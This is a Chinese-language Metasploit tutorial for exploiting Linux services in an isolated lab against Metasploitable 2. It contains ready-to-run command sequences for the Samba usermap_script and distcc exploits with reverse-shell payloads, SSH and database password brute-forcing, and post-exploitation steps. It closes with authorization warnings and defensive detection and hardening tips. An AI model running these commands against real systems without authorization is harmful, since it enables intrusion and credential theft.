使用 Metasploit 进行 Linux 漏洞利用的实操指南
一 环境准备与合规要求
- 准备一个隔离的实验网络,推荐使用虚拟化环境(如 VirtualBox/VMware),并部署易受攻击的 Linux 靶机(Metasploitable 2) 与攻击机(如 Kali Linux)。Metasploitable 2 集成多种漏洞,适合练习 Metasploit 的利用流程。务必仅在授权范围内开展测试。
- 在 Kali 上安装或更新 Metasploit 框架:sudo apt update && sudo apt install metasploit-framework。启动控制台:输入 msfconsole。
- 合规声明:任何对未授权系统的测试均可能触犯法律。请确保具备明确书面授权,控制测试范围与影响,并做好全程记录与报告。
二 标准利用流程
- 信息收集与端口识别:先确认目标存活与开放服务,例如在攻击机执行:nmap -sV <目标IP>;或在 MSF 中使用辅助模块进行端口/服务探测(如 auxiliary/scanner/portscan/tcp)。
- 选择并配置 Exploit:在 msfconsole 中搜索与识别到的服务匹配的模块(如 search samba、search ssh),使用 use <模块路径> 载入;用 show options 查看必填项,设置 RHOSTS/RPORT 等参数。
- 选择并配置 Payload:根据网络条件选择反向或正向连接载荷,例如 set payload cmd/unix/reverse_bash 或 cmd/unix/bind_netcat;设置 LHOST/LPORT(反弹)或仅设置 LPORT(绑定)。
- 执行与验证:运行 exploit/run,确认是否获得会话;使用 sessions -l 查看会话,sessions -i 进入会话;在会话中执行 whoami、id、ifconfig 等验证权限与网络连通。
三 Linux 常见利用示例
| 场景与服务 |
模块路径 |
关键设置 |
典型命令 |
| Samba “username map script” RCE |
exploit/multi/samba/usermap_script |
设置 RHOSTS(目标IP),端口通常为 139/445;可选正向/反向载荷 |
use exploit/multi/samba/usermap_script; set RHOSTS 192.168.1.102; set payload cmd/unix/reverse_bash; set LHOST <攻击机IP>; run |
| SSH 弱口令/字典爆破 |
auxiliary/scanner/ssh/ssh_login |
设置 RHOSTS、RPORT、USER_FILE、PASS_FILE |
use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.100; set USER_FILE users.txt; set PASS_FILE rockyou.txt; run |
| MySQL 登录爆破 |
auxiliary/scanner/mysql/mysql_login |
设置 RHOSTS、USER_FILE、PASS_FILE |
use auxiliary/scanner/mysql/mysql_login; set RHOSTS 192.168.1.111; set user_file users.txt; set pass_file passwords.txt; run |
| PostgreSQL 登录爆破 |
auxiliary/scanner/postgres/postgres_login |
设置 RHOSTS、USER_FILE、PASS_FILE |
use auxiliary/scanner/postgres/postgres_login; set RHOSTS 192.168.1.111; set user_file users.txt; set pass_file passwords.txt; run |
| 其他经典 Linux 服务漏洞 |
视服务而定(如 distcc、UnrealIRCd 等) |
依据模块说明设置 RHOSTS 与载荷 |
示例:use exploit/unix/misc/distcc_exec; set RHOSTS ; run(示例仅用于合法靶机) |
| 以上示例覆盖了常见的 Linux 服务弱点与 Metasploit 对应模块,参数名与用法以模块帮助为准。 |
|
|
|
四 后渗透与权限维持
- 会话管理:在 Meterpreter 或 shell 中使用 background 将会话放到后台,sessions -i 切换;使用 sessions -u 尝试将普通 shell 升级为 Meterpreter 会话(若可用)。
- 基础后渗透命令:ps(查看进程)、kill (结束进程)、upload/download(文件传输)、execute(执行命令)、shell(获取系统 Shell);按需进行横向移动与信息收集。
- 提权思路:在取得初始访问后,结合内核/服务/配置弱点选择 Linux 提权模块或本地漏洞利用;始终优先选择最小影响、可回滚的路径,并在报告中记录提权链路与影响范围。
五 故障排查与防御要点
- 常见失败原因与处置:目标端口/服务未开放或被过滤(调整 RHOSTS/RPORT 与防火墙策略)、载荷类型不匹配网络(在 NAT/云环境优先使用反向连接并设置可达的 LHOST)、凭据错误(更换或扩充字典)、模块不兼容目标版本(更换模块或升级框架)。
- 网络侧取证与告警:防守方可使用 Wireshark/tcpdump/snort 抓包分析,常见特征包括 SMB 协商与会话建立流量(如目标 139/445 端口)、异常载荷与可疑反弹连接;通过追踪 TCP 流可还原攻击步骤与命令。
- 加固建议:及时修补服务与内核、禁用不必要的服务与端口、强制使用强口令/多因素认证、限制数据库/SSH 等管理接口的访问来源、开启日志审计与入侵检测。